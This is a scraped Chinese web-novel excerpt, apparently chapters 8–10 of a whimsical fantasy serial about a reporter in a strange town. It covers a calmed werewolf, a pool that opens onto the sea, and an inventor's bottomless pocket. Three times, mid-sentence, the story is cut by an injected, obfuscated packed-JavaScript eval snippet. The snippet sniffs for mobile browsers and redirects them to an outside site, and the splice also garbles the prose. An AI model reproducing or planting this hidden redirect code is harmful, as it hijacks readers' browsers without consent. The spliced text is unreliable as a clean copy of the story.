查莉慢悠悠地、意外很有条理地说道:“不能让她这样下去,但也不能强行闯入……这可是月圆之夜的狼人……叽叽已经去请斯卡普女士过来了。不过在她来之前,我们得先让露娜冷静下来。不然斯卡普女士再努力也是白费功夫。” 她问佩妮:“佩妮小姐,我记得你会吹陶笛?” 佩妮点点头:“稍微会一点。”她从背心口袋里拿出来一个造型粗糙的小物件。 查莉又看向凯西:“凯西小姐,你对音乐方面有什么了解吗?” 凯西说:“我会弹尤克里里。” 她从外套口袋里拿出她的车(拿出这个动词似乎不太适合用在车上,但确实如此),又从车的后备箱里找出她的尤克里里。 “你是想通过音乐的方式安抚露娜吗?”佩妮问。 查莉点点头:“音乐的韵律可以安抚狼人之血,而且露娜也很喜欢音乐。” 她说完,坐到地上,自己从警服口袋里掏出来一个巨大的低音号。她像抱小孩似的抱着它,让它靠在她毛茸茸的腹部上。 “佩妮,”她说道,“你先开始吧。然后我跟凯西再和进去。” 佩妮点点头。她沉思着,把陶笛送到唇边,开始吹奏。 陶笛的声音柔和、空灵、宁静。起初佩妮吹得犹犹豫豫,那种宁静也仿佛加入了踌躇不决的优柔。 这时查莉加入了进去。她鼓起腮帮,吹出一个悠长的,稳定的长音。它有力地托住了陶笛的犹豫不决,就像稳定和缓的水流托举着小船,让它能够得以安心前行。 佩妮不再犹豫,陶笛的声音开始变得自然流畅,它绵绵不绝地流淌,带着一种湿漉漉的凉意,一种令人安心的孤寂。 凯西开始小心翼翼地拨动琴弦,找出可以填补的空间,为这段演奏加入合适的节奏框架。 这音乐如此和谐,如此优美,如此让人平静。凯西忘记自己正站在一个因为月光影响发狂的狼人的画廊外,她觉得自己身处一片宁静的黑暗中。那黑暗并不让人恐惧,那黑暗让人安心,黑暗中并没有隐藏什么未知的恐怖,每个角落的事物都了如指掌,因此反而因为没有光线的滋扰显得更加安稳。 她不知道画廊里的躁动是什么时候平息的,也不知道自己的弹奏是什么时候停止的。 但当她后知后觉地睁开眼睛,查莉警官已经收起了她的低音号,坐在路边吃着一块散发甜蜜香气的曲奇饼干。贝拉·斯卡普开着她的垃圾车来到了现场,正开始清理街道上的颜料。 “好可惜……”佩妮轻声说,“明明很漂亮。” “漂亮但有碍社区管理,还是清理掉比较好。” 露娜·穆恩,那个狼人画家,她现在显然已经清醒了过来,靠在画廊的门边这样说道。 她跟高大健壮的菲比警官不太一样,不是那种典型狼人的形象。抛开身上那些毛茸茸的特征,她其实更像个吸血鬼,苍白的皮肤,有些瘦削的身材,艺术家的神秘气质。她身上沾满了颜料,不过比起脏兮兮,反而显得带点酷劲。 “何况它就算留下来也会褪色消磨的。反正我已经有了一个关于这件事的灵感。画能保留现实里无法保留的美。感谢你们今天的演奏,它让我感到……平静。” 她说着,用力点点头,像是在肯定什么。然后她重新回到画廊里,关上了门。 “今日休假”被换成了“最近闭关”。 凯西感慨地说:“她真酷。” 佩妮点头表示同意。 回去以后她们合作撰写了《月华倾泻时:色彩与音律之河》。罗茜对稿子很满意。 “我觉得你们可以经常合作,”她若有所思地说,“你们两个有成为我们报社新一代黄金搭档的潜质。” 凯西和佩妮都完全没意见。 月圆之夜的第二天,活屋没再发脾气,甚至比平时更温和,像是在为昨天的事情道歉似的。凯西压着临界线醒的也没见它生气,而且不仅帮她调好了水温,放好了毛巾,连牙膏都帮她挤了。 “呃……谢谢你?”凯西思考着,“其实你不用这样的,月圆之夜,我理解。” 洗手间的灯飞快地闪了几下。 去上班的路上,她看到炙烤馅饼店开了门。虽然只休了一天假,但好像大家都很想它,门前大排着长龙。要不是她快要迟到了,简直也想排队买上一个,现在只能等下班了。 她走进玛吉的面包房,发现她居然也拿着一个炙烤馅饼在吃。 “早上好。”玛吉说着,同时面不改色地把馅饼藏了起来。 凯西也就假装没看见:“早上好。还是蜂蜜燕麦卷。” “你跟佩妮真是越来越像了,”玛吉大摇其头,“天天吃一种食物有什么意思!有什么意思!” “但是镇上的人天天都吃同一种口味的炙烤馅饼,她们依然觉得很有意思。”凯西带点促狭的口吻说道。 玛吉整个人僵住了半秒钟,她偷眼看了下被她藏在柜台底下的那样东西,然后说:“谁知道那些人怎么想的!” 凯西点点头:“是啊,谁也不知道别人是怎么想的。”她意味深长地朝着那块馅饼的藏匿点看了过去,然后带着她的早餐离开了。 她到报社的时候,佩妮正站在小楼的门口等着她。 “我们得去游泳馆一趟,”她简短地解释道,“那里的泳池出了一点问题。” 她们到达游泳馆时,警方早已经到了。这里的警方既包括月圆之夜后回归的菲比警长,也包括在昨天用她自己的方式维护了小镇秩序的查莉警官。 菲比看起来比月圆前夕要精神许多,不像之前那样总是压抑着什么,也没那么毛茸茸了,虽然依然能在她身上看出明显的狼人特征,但那种野性的味道淡了很多。查莉……就是查莉,跟昨天跟前天都没什么两样,吮着一根棒棒糖,站在菲比身旁。 她们低头观察着泳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427679|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池。 泳池……它不再是泳池了,而像是通往一个远比它大的水域的入口,透过它往里看,能看到丝丝缕缕绿色的海藻,银光粼粼的鱼群,海水的咸腥味刺激着人的嗅觉。 凯西按下快门,然后陷入沉思:她昨天是不是刚拍过一张富有超现实主义色彩的照片? “昨天游泳馆提前闭馆了,”游泳教练泰勒·克洛克说道,“我走之前还仔细检查了一遍,没有发现不对劲。今早以来就变成这样了。” 她是个鳄鱼人,身高接近两米,竖瞳给人一种不安定的冷血与残酷印象。但她说话的声音却十分柔和,让人不由得接受了这个人会给小镇里的孩子们教游泳的设定。 菲比警长掏出一个探测器,伸进池水中。 她看着显示屏上的读数:“好吧,我们小镇的游泳池忽然变成了海洋的入口。这只能跟魔法有关系……月圆之夜,当然了。叽叽!” 鼠人警官受到召唤,从不知哪个角落里冒了出来:“叽叽在!” “你去请夏普女士来一趟,要讲明这边发生的事情与海洋或潮汐魔法有关,而且很可能是受到月圆之夜的影响。” “叽叽明白了!”她说着,身子一扭又不知道消失到哪里去了。 不久后,阿加莎拄着拐杖走了过来。她锐利的眼睛扫过泳池,从口袋里拿出一个水滴形状的、海蓝色的吊坠。 她蹲在池水边,伸手让吊坠悬停在水面上方。 吊坠发出柔和的蓝光,照耀的范围以它自己为中心逐渐扩大,直到把整个泳池都笼罩其中。海水似乎也还以某种更肉眼不易见的光芒,朝吊坠的方向集中。吊坠吸收了这些返还的光芒,变得更加明亮。 阿加莎看着吊坠亮度的变化,沉思着,然后得出结论:“是大范围的魔法元素波动导致的空间折叠,这个泳池现在连接着深海。通道很不稳定,我很难判断它是会自行关闭,还是忽然爆发把小镇灌成湖泊。” 菲比警长问:“能关掉吗?” “需要人手,我一个人的魔力不够。”阿加莎忽然抬高了声音,“回声!” “夏普夏普夏普女士——你找我你找我你找我有什么事……” 一个空灵的,自带回声效果的声音回答道。 凯西环顾四周,不仅看不到谁在答话,甚至也听不出来声音来自哪个方位。 佩妮小声地告诉她:“这是贤者会——一个魔法师组织——内部使用的通讯方式,回声……有点像她们的接线员。有人说她是阿加莎制造的通讯幽灵,也有人说,连阿加莎都不知道她究竟是谁。” 阿加莎继续对那个声音说道:“把贤者会的人都喊过来……斯特拉就算了,其她人都喊过来。” “好的好的好的——” 在等待所谓贤者会的成员到来的过程中,阿加莎用手指沾了海水,开始在地面上画一个复杂的阵法。阵法的中心是两个相互嵌套的螺纹,周围则是层层铺开的水波纹。画完之后,阿加莎开始在上面用古老的符文书写晦涩难懂的咒语,她的手指刚刚离开法阵,符文就发出一道耀眼的光,融入法阵消失不见了。而法阵则留在那里,发着柔和稳定的光,像是在等待着什么。 她做完了这一套工作,稍微擦了下额头上的汗,站了起来。 正在这时,从海水中传来了一个声音: “小墨,小墨你慢点——我要跟不上你了——” 那声音稚嫩,带着股奶气,显然还是个孩子。然而与普通孩子不同,那声音有种令人毛骨悚然的优美,仿佛一听到心脏就被揪住,下一刻就要被吸引进无底深渊。 一只深紫色的鱿鱼破水而出,卡通化的大眼睛环视四周,露出惊恐的神情。紧随其后的是个小孩子,深蓝的卷发,碧蓝的眼睛,指间带蹼的手臂拍打着水面。她的眼中没有恐惧,只有一种天然的好奇。 她第一眼就看到了离泳池最近的阿加莎:“老婆婆,这是什么地方?” 8. 初来乍到(8) 阿加莎明显地皱起了眉,如临大敌地看着这个仿佛人畜无害的小家伙。 她没有回答小孩子的问题,而是再次喊道:“回声!” “我在我在我在——” “告诉她们,不管在路上的还是没出发的,先别来了,等我消息再说。” “明白了明白了明白了——” 孩子好奇地问道:“老婆婆,你在跟谁说话呀?你怎么不理我呀?” 阿加莎没有回答她的问题,而是说道:“你应该回去。” 孩子疑惑地皱眉:“回去?回哪去?为什么要回去?虽然不知道这里是哪里,但既然有海水,那这就是我的地盘,我想什么时候走就什么时候走,就是不走也没有问题。” 阿加莎说:“这里不是大海,只是因为某种原因,暂时地跟大海在空间上重叠了。如果你不快点回去,这个临时的重合点崩溃了的话,你会受伤的。” “受伤?”孩子像是听到了什么笑话,“我可不知道还有这种可能。” “但这确实很危险,”查莉不知什么时候凑到了泳池边,用她那慢悠悠的声音说道,“你可能不那么容易受伤,但任何人都不应该养成置自己于危险境地的习惯。” 阿加莎的脸色微微一变,那神情十分难以判断,既像是想要阻止,又好像在期待,期待查莉能够用她的方式做到点什么。 孩子瞪大眼睛看着查莉。查莉的外形很像一个穿着警服的毛绒玩具,这或许就是镇上的小孩子和小动物都这么喜欢她的原因。而对于这个海里来的孩子,这种亲和力似乎也起到了作用。 “你好,”孩子说道,“我能摸摸你吗?”她飞快地把刚刚还抱在怀里的鱿鱼小墨丢开在一旁。小墨漫画式的大眼睛立刻盈满了泪水,噗嗤一声没入水面消失不见了。 查莉思考了一会儿:“可以。但你要答应我,摸完就回去,不要再靠近这个通道了。” “嗯……”孩子纠结地皱起了脸,“那,行吧。我答应你。”但她的表情显然是极度不情愿的。 查莉向泳池边缘靠得更近,低下头方便孩子碰到她。 孩子在真正抬手碰她之前停住了,说道:“我是珀尔,你叫什么名字?” 查莉听到这句话的反应是沉默了一会儿,她抬起头,平静地看着珀尔的眼睛,后者的脸上逐渐浮现出心虚的表情。 “你……你不愿意告诉我吗?”珀尔问道。 查莉说:“我不愿意告诉心里有鬼的孩子。” 珀尔的脸色难看起来。 而查莉已经抓住了她的手,在自己毛茸茸的耳朵上草草碰了一下,说:“摸完了,你可以回家了。” “你不愿意告诉我你的名字……”珀尔小声说着,像是在酝酿怒火,“你不愿意告诉我你的名字……” 她忽然猛地提高了声音,尖锐得足以刺破人的耳膜:“你怎么敢,你怎么敢?” 游泳池里忽然掀起直冲天花板的巨浪,四处溢散的水流冲走了周围的人。而海浪还在越变越强,持续地冲刷着,让她们谁都站不起来。 珀尔抬起双手,翻转手腕开始做一套复杂的手势,海水开始在她身后聚拢,合成一条巨大的,正在疯狂旋转的锥形体。她放下右手,朝查莉的方向指去:“我要……” 【你要干什么?】 一道声音……不,意念?总之在游泳馆里的人,都在一种没有听到任何声音的情况下,感觉到了有人说出了这句话。那是一种平静的,不带丝毫情绪波动,却反而给人以极大压迫感的存在。 珀尔的动作停住了。水锥在她身后崩溃,海浪平息,而她恼怒的脸上现在已经充满了惊慌失措。 【珀尔,】那个人继续无声地说道,【回来。】 珀尔没有反抗,没有表现出一丝她之前展露出的坏脾气。她顺从地沉入水面,朝海水深处游去。 在她的身影消失在人们的视野中之后,那个人再度开始说话。 【那位拿着相机的人类记者,烦请您将您所拍摄的有关珀尔的所有照片删掉。水池的那张可以留着,其余的请全部删掉。好的,谢谢你。水池的问题我会帮你们解决的。我为珀尔的冒犯道歉,再见。】 随后,游泳池里的水开始逐渐变得清澈,藤壶与海星游走,咸腥味被氯水的刺鼻气味代替。 “通道被关闭了。”阿加莎语气极为复杂地说道。 凯西抱着相机惊魂未定,觉得自己身上连每根毛发都在发抖。佩妮担忧地走过去扶她,可她双腿发软,竟一时站不起来。 查莉在这时靠近了过来,递给她一块太妃糖,糖纸有点湿,糖果有点黏。但凯西还是吃下了它,感受甜腻的味道在舌面扩散。她看上去那么淡定,好像刚才什么事都没有发生。 “查莉警官,”她忍不住问道,“你当时害怕吗?面对那个……孩子?”她有点迟疑,因为不确定是不是可以简单地用“孩子”这个词指代那个强大的、暴怒的生物。 查莉说:“害怕也没用吧。” “话是这么说……” 凯西感慨地想,查莉警官看起来温顺随和,实际上却可能是个很可怕的人……豚。 鉴于那个不知名的存在要求她把有关珀尔的照片全删了,凯西猜想,如果自己写稿的时候提到珀尔,她估计也不会太认同的。于是她跟佩妮商量着,围绕那张泳池通大海的照片,写了个有头没尾的小故事,读起来完全是都市怪谈一样的东西。罗茜看完之后犹豫片刻,居然也让过了。 “其实在古怪多,这样的事情很常见,”佩妮对凯西说道,“大家都知道发生了一件怪事,最后事情解决了。至于怎么解决,当事人却出于某种原因没有说明。故事就这样成为了怪谈,怪谈也会传得越来越奇怪。” 这话说得非常有预见性,因为晚上凯西在炙烤馅饼店买晚饭的时候(是的,这里依然在大排长龙),一直要么不理她,要么用看到讨厌的人的眼神看着她的波比,居然好奇地盯着她打量了一番,然后问道:“海妖……怎么回事?” “我不确定我是否被允许谈论此事。”凯西真诚地说。 波比点点头,很自然地接受了这个答案。她把馅饼递到凯西手上:“欢迎来到古怪多。” 欢迎来到古怪多?凯西忍不住琢磨这句话的意思。难道我之前都没真正进入古怪多吗? 她没有过于深入地思考这个问题。在回活屋的路上,她就迫不及待地拆开包馅饼的纸包,边走边吃了起来。尽管已经不再是种新奇的味道,但还是很好吃的。 正当她把馅饼吃到差不多快一半的时候,一阵翅膀拍打声从她头顶传来,随后是一个沙哑的嗓音: “噶!初次见面,以古怪多镇长的名义,我,卡翠娜女士,在此欢迎你的到来,来自外面世界的记录者。” 凯西抬起头,看到一只神气活现的乌鸦正站在路灯上,居高临下地看着她。乌鸦的体型比起她的同类要大得多,羽毛乌黑油亮,眼睛滴溜溜地转,透出一股子聪明劲。 她仔细一回想,卡翠娜和莉娜也确实该刷完瓶子,重获自由了。 “我记得这不是我们初次见面吧,‘镇长’女士。”她有些好笑地说道,“我还写过关于你的报道呢。” “竟有此事?”卡翠娜故作惊讶,“本镇长可不记得见过你,或许是百忙之中有所疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427680|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漏吧。你报道的是本镇长的什么事情?” “嗯……我报道的是你积极参与社区劳动,与下层居民打成一片的故事。” 凯西努力憋笑,她说的也不算是谎言。 卡翠娜听了,显然也十分受用:“是的,确实有这么回事。本镇长做过的好事太多,一时想不起来了。” 她扑棱棱飞下来,悬停在半空,好让凯西不用一直抬着头:“人类,本镇长很看好你。好好干吧,你会有所成就的。”然后她又扑棱棱飞走了。 凯西站在原地,终于忍不住笑了起来。 莉娜和卡翠娜的回归影响最大的是鼠人记者吱吱,她在莉娜受罚的这段时间接替了她送报纸的工作。莉娜回来之后,她总算能安心地专注于自己情报员的本职。鲁特也很高兴,她不用特地推迟早上出门的时间,就为了防止出门时正好撞见一只老鼠站在她家门口的邮箱旁。 除此之外,这两位镇上首屈一指的捣蛋鬼似乎是对贝拉的教导心有余悸,从回收站回来之后居然一直很老实。对于并没过多体会过她们两个高度活跃时期状况的凯西来说,这并不多么稀奇,但小镇的其她居民似乎把这当成了一个奇迹。她们因此对贝拉万分感谢(尽管她们多数人还保留着对她的童年阴影),并开始自发地把垃圾分类工作进一步细化,除了可回收垃圾和不可回收垃圾,还分出了“贝拉可能感兴趣的垃圾”。凯西甚至因此写了一篇报告,关于古怪多的垃圾分类新风尚。 而此时,凯西正在为游泳馆的泳池水藻含量变化写一篇报告——自从那只名叫珀尔的小海妖(物种这块她是从阿加莎那里问出来的)来过一趟之后,虽然那个,嗯,那个意念修复了泳池的问题,但那里似乎依然有什么东西残留着,水藻生长的速度是之前的十倍,还有镇民声称在那里游泳会产生幻觉,回去以后会做梦什么的。 正当凯西思考着要不要为了报告里一些涉及到专业魔法术语的部分特地去问一问阿加莎的时候,罗茜像旋风似的走出她的办公桌,来到凯西和佩妮的工位之间。 “凯西,佩妮,有新活儿了!是奇巧魔法道具店那边的事情。莫伊拉·斯佩尔,就是那个总发明些……嗯,有趣玩意儿的店主,她宣称推出了收纳口袋的全新升级版。” 奇巧魔法道具店。凯西还记得那家店,她的外套口袋就是在那里改装的,现在里面宽敞得能装下一辆汽车。现在这个收纳口袋居然出了升级版,不知它的容量还能提升到什么程度。 她正想着呢,下一刻,罗茜的话就回答了她心中的疑问:“莫伊拉声称,这次,全新升级版的收纳口袋,容量将会是无限!” 凯西和佩妮对视了一眼,彼此都看到对方眼中难以掩饰的惊奇。 “无限?”凯西忍不住重复了一遍。虽然她在原版的收纳口袋上已经见识过“里面比外面大”这种反逻辑的现象,但是“无限”,这个过于绝对,以至于听上去有些狂妄的词,依然让她一时难以接受。 罗茜拍拍她的肩膀:“姑娘,我知道这种事在外地人看来像是说梦话,其实呢,本地人听了也觉得不敢相信。这正是我派你们去的目的。去采访一下那位天才,看看她的新产品是不是真的‘无限’,要是有机会,多拍几张照片带回来。” 她顿了顿,眼睛尤其多看了凯西一会儿:“当然,以上都是次要的,重要的是保证你们自己的安全。莫伊拉并不总是做一些完全可控的实验,而我希望我的员工采访结束能毫发无损地回来,不要多条胳膊少条腿的。佩妮,你这方面经验比较丰富,多照顾着她点。” 佩妮连忙答道:“我明白了!” 凯西也点着头:“我会注意安全的。” 9. 初来乍到(9) 尽管之前为了改装外套口袋的事情已经来过一趟,在走进奇巧魔法道具店的时候,凯西还是忍不住屏住了呼吸。 奇巧魔法道具店,就像这里的畅销产品一样,有着里面比外面大的特性。从外面看,这里不过是个普普通通的商铺,进去以后却会发现货架高得直插云天,而天花板也很自然地不翼而飞,只能够看到一片无边无际的茫茫星空。 货架上摆着各种稀奇古怪的商品,会自动搅拌的汤锅,能预报天气的水晶球,既会唱歌又会啄人的机械夜莺,以及最最驰名的,原版收纳口袋…… 一个人形傀儡站在柜台后面,皮肤是未上漆的木纹质感,关节处有细微的缝隙。她的头部机械地在脖颈上转动,闪着无机质光芒的眼睛看向刚刚迈进店门的凯西和佩妮,用毫无起伏的声音说了句“欢迎光临”。 凯西觉得自己背后的寒毛一根根全竖起来了。哪怕她已经开始习惯了古怪多来自各种不同物种、相貌特征也跟人类差之甚远的镇民,这位莫伊拉二号——据传莫伊拉参考自己的样貌设计了她的外形——依然不是见过一回两回就能够适应的。 佩妮表现得比她要镇定,她上前一步(但也难免显露出少许怯意地)说道:“您好,莫伊拉二号女士。我们是古怪多日报的记者,之前已经跟斯佩尔店长预约过要来采访关于新产品无限收纳口袋的事情。” “叫我二号就好。”莫伊拉二号说着,虽然语气并不含有此类措辞所应有的亲切,“店长在后院,跟我来。” 后院在绝对面积方面称得上宽敞,在相对感受上则显得异常逼仄。各种复杂且庞大的实验器材,成堆的布料与同样成堆的用这些布料做成的口袋,以及十分突兀的,唯独空出来的一张清清爽爽的桌子,和桌子上放的一只看上去平平无奇的口袋。 一个穿白大褂的身影正站在那里喃喃自语,丝毫没有察觉到有人在朝她靠近。 “店长,”二号说,“报社的人来了。” 白大褂转过身,莫伊拉·斯佩尔的面容出现在她们眼前。那确实是二号的相貌的人类原型,只是比起她的复制品,莫伊拉的眼下有着浓重的青黑,以及与二号冰冷漠然的眼睛不同,她有着恍惚的、仿佛正神游天外的眼神。 她目光涣散地看着凯西和佩妮,声音飘忽不定:“……嗯,对。报社。记者。对,口袋!” 莫伊拉忽然兴奋起来,从大脑中提取出“口袋”这个关键词似乎触发了她的什么开关。她拿起桌子上的那个口袋,转身对记者们说道: “就是这个。” 凯西和佩妮都沉默着等待了一会儿,然后发现莫伊拉确实说到这里就完全停下了,根本没有继续往下解释的意思。她甚至两眼发光地看着她们,像在期待看到什么非同一般的反应。 “呃……斯佩尔女士,”凯西试探着开口,“我们已经看到您研发的新产品了,它看上去……很惊人。但您能不能稍微多解释一下它的具体功能和特点,以便我们把它写成报告时,读者能够更好地了解这种产品?” 莫伊拉露出惊讶的表情,像在说“咦,还有这种事吗?”。 她低声地自言自语:“解释?解释解释解释……该怎么说呢……能装东西?特别能装?” 最后她终于放弃思考,说道:“它有什么功能和特点,我用给你们看就知道了。” 于是莫伊拉松开袋口的抽绳,将开口对准身旁一台两人高的机器,只见机器起初发生了轻微的扭曲,随后收缩变形着进入了那还没有巴掌大的口袋里。 凯西举着相机,努力捕捉机器将变未变,正要被口袋吸进去的那一刻。 随后莫伊拉如法炮制,把后院放着的另外几台仪器也收进去了。 这几台仪器加起来,体积显然已经远超过原版收纳口袋“能装下一俩汽车”的容量。但是,凯西若有所思,如果它的卖点是“无限”的话,现在展现出的容量就有些不够看了。 莫伊拉显然跟她想到一块儿去了,因为她的眼睛正四处搜寻着,像是在寻找更多可以装的东西。 “不能装别人的东西,警长会骂……”她自言自语,“那我就装我自己的东西就好啦!” 莫伊拉看向自己的店铺,那栋两层高的小楼,眼睛放出狂热的光。 “等等……”凯西忽然意识到她想做什么,“斯佩尔女士,您不能……” 但莫伊拉已经把袋口对准了她自己的房子,而凯西在意识到无法阻止后,选择认命地举起相机,捕捉那最为惊人的一刻。 小楼的轮廓开始发生剧烈的波动,像是一张被狂风吹拂着的纸上画着的画。随后,它融化成一种牛奶般丝滑的质感,“流”进了莫伊拉手中的口袋。 莫伊拉晃晃手里的口袋,它的重量显然没有发生任何变化,让一个四体不勤的狂热科……狂热魔法学家也能这样随意地摆弄着。 “看。”她得意地说,像小孩子在炫耀满分试卷。 凯西用力吞了口口水,刚想就这一震撼人心的壮举发表感想,就被一阵噼里啪啦的声音打断了。 小楼原来所在的地方,现在只剩下一个灰扑扑的坑,裸露出原本藏在地下的管道和电缆,很多已经完全断裂了。周围房子的灯光开始在极亮与极暗之间来回闪烁,透过窗户也能看出那种令视网膜打上烙印的煅淬,同时从房子内部还传来各种电器不堪重负的嗡鸣声,爆炸声,火花喷溅声。 凯西先是下意识用相机记录下了这整个过程,随后意识到,所有的灯光与声音都停止了,小镇陷入了沉寂。 停电了。 “啊,”莫伊拉惊诧地发出一个语气词,“我把小镇电网的事情给忘了。” 就在这时,一道闪烁的电流从街道的另一头劈里啪啦地闪了过来,然后从小楼坑底的电缆断裂口窜出来,凝成一个穿着电工服的人形。 “斯佩尔女士,”电工服说话自带电音效果,语速奇快,“您又弄出什么新发明来把镇上的电网都给弄崩溃了?您的房子呢?” 莫伊拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427681|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向电工服:“……噢,是闪电。闪电你好。” 她的脸上满是茫然,显然还没搞清楚状况。 闪电烦躁地用手去捋她那头宛如电弧闪烁的头发,喊了声“算了”,转而去找二号交流去了。 她问道:“二号,请问这里发生了什么?为什么你们的房子不见了?” 二号解释道:“店长为了展示她的新产品‘无限收纳口袋’的效果,把房子装了进去,结果导致了电缆断裂和全镇停电。” 她的声音依然毫无波动,但闪电听完之后身上一阵电光闪烁,像是要爆炸了。 “好吧好吧好吧斯佩尔和她的万能口袋冷静冷静冷静我不能急我不能急……”她用力把身上的电流压了回去,对二号说:“告诉斯佩尔店长,让她把房子放出来。” “我不能命令店长。”二号平静地说。 闪电……她差点又开始放电,深呼吸了好一会儿才重新平静下来。 就像她刚才放下莫伊拉过来找二号问话一样,她现在又放下二号去找莫伊拉说话。 “斯佩尔女士,我请求你,现在立刻马上,把你的房子放归原位。如果你不这么做,从今往后不管你搬到哪个地方,哪怕你逃到古怪多外面,我都会不远千里过去把你的电断掉,你也别想着做你的魔法实验了。” 这个威胁显然非常有效。莫伊拉立刻撑开口袋的开口,念了句什么。 然后,奇巧魔法道具店的小楼回来了。之前被莫伊拉放进去的各种机器也都回来了。 “这样就行了吧,”莫伊拉说着,朝楼里走去,“我很累了,要睡了。” 莫伊拉二号跟在她身边,帮她排除一些路上的障碍(刚才的混乱还是留下了一些痕迹),也跟着进了楼。 闪电看着这两个人的背景,骂了句“两个没常识的白痴”,窜进电缆里开始干活。 就在这时,一辆警车停在了路边,菲比警长率先下车,然后是走路慢吞吞的查莉警官。 菲比环视四周,朝凯西和佩妮走过来:“这里什么情况?镇上忽然停电,有居民报告说这里的房子忽然消失又重现。” “是斯佩尔店长的新品展示,”凯西干巴巴地说,“她为了证明新版收纳口袋的容量,把整栋楼都装进去了。” 菲比闻言,用力揉了揉自己的眉心:“斯佩尔……当然了,那位‘天才’。” “她的收纳口袋确实很好用。”查莉说,然后挨了菲比一个瞪眼。 “斯佩尔研究出来的东西确实很有价值,”菲比承认道,“但问题有时候就在于此,一个聪明人有时候弄出来的破坏会比一个笨蛋大得多。闪电,电网修好了吗?” 闪电已经从电缆里出来了,她报告道:“已经修好了,警长。” “非常感谢你的工作。” “没什么,警长。只是这次我非得把维修账单翻倍寄给斯佩尔不可……”她的最后一句话是以极小的声音说出来的。然后她窜上路边的电线杆,消失不见了。 10. 初来乍到(10) “记者们,”菲比警长从闪电消失的方向转过身,“斯佩尔去哪儿了?在她的……高风险魔法实验之后?” 凯西小心翼翼地说:“她……她说她累了,就回去睡觉了。” 菲比警长脸上的表情……相当精彩。她看着小楼的表情就像要透过层层墙壁用眼光杀人。 但她还是冷静了下来:“她去睡了,那她那个叫二号的店员呢?” 佩妮回答得很快,显然对这个问题的答案十分有把握:“她应该是回去看店了。二号如果不是在照顾斯佩尔店长,就是在看店。” 菲比警长听到这个回答后露出了十分复杂的表情,但她只是说:“谢谢你的帮忙,佩妮小姐。我想让查莉复制一份你们在事件过程中的记录,你们不会介意吧?” “我们当然不会。” 菲比警长去找莫伊拉二号谈话的时候,查莉警官从口袋里拿出一个水晶球。水晶球从核心位置向外发出蓝光,把凯西的照片和佩妮的笔记都从头到尾扫了一遍。 “斯佩尔的收纳口袋,斯佩尔的拓印水晶,斯佩尔惹出的麻烦。”查莉感慨地说,“她确实是个天才。” 凯西回想起刚才的混乱场面,即便如此,新版收纳口袋展现出的潜力也是骇人的:“……无法否认。” 她们在原地等了一会儿,查莉从口袋里拿出一盒甜甜圈开始吃。路过的一帮小孩子开始围着她转,向她要甜甜圈。等甜品吃完了,又开始往她身上爬。查莉很配合地躺倒了,让孩子们想怎么闹怎么闹。 “你觉得斯佩尔店长会面临什么样的处罚?”凯西忍不住问佩妮。 佩妮想了想:“虽然今天的事情有点吓人,但其实没有造成特别大的损失,我想应该就是罚款的程度。除此之外,菲比警长大概会让她参加社区劳动。” “社区劳动?”凯西意外地重复道,“让她去斯卡普女士那里刷瓶子吗?” 她的眼前浮现出一幅幽默的画面:莫伊拉穿着白大褂,头顶乌云,神情恍惚地刷着瓶子,不时劈下的雷电也没法阻止她走神。她甚至可能抬头盯着迎面劈下的闪电,思考背后隐藏的原理。 佩妮摇摇头:“菲比警长不会让斯佩尔店长刷瓶子的,那‘是对高技术劳动力的浪费’。”她压低声音,模仿菲比浑厚的嗓音。 “她应该会让斯佩尔把所有在断电事件中损坏的居民家电全部修好,修不好的原价赔偿,再帮助闪电把小镇电路翻新一遍。除此之外,她应该还会让斯佩尔去学校里教几堂魔法学的课程。” “听上去……很物尽其用。” “当然,我想这是对于斯佩尔最好的处理方法了。你不可能真正让她停止惹祸。” 菲比警长出来的时候,查莉和趴在她身上的孩子都已经睡着了。她神情复杂地看着自己的下属,像是在纠结要不要叫醒她,或者说,如何在叫醒她的同时不弄醒她身上的孩子。最后她被从这种两难境况中拯救出来:那孩子自己醒了,走之前还托她等查莉醒了告诉她,“我已经回家了”。 而当那孩子的背影消失在街角,菲比也就毫无心理负担地把查莉从地上拎了起来:“醒醒,查莉,我们要回警局了。” 查莉揉揉眼睛,站住了。 “菲比警长,”凯西上前问道,“请问您打算如何处理斯佩尔店长的这次……高风险魔法实验?” “罚款,维修赔偿,电路翻新,学校执教。就是那么回事。这方面你完全可以多问卡弗恩记者,她可是经验丰富了。毕竟对斯佩尔,也没什么别的方法可用。她不会真的做坏事,但也不能不出乱子。回见,二位——希望下次别再因为这种事情见面。” 查莉睡眼惺忪地跟着她上了警车。 凯西看向佩妮,后者脸上有种“你看吧”的表情。 “所以说,警方对斯佩尔有一套约定俗成的处罚方案?” “没错。” 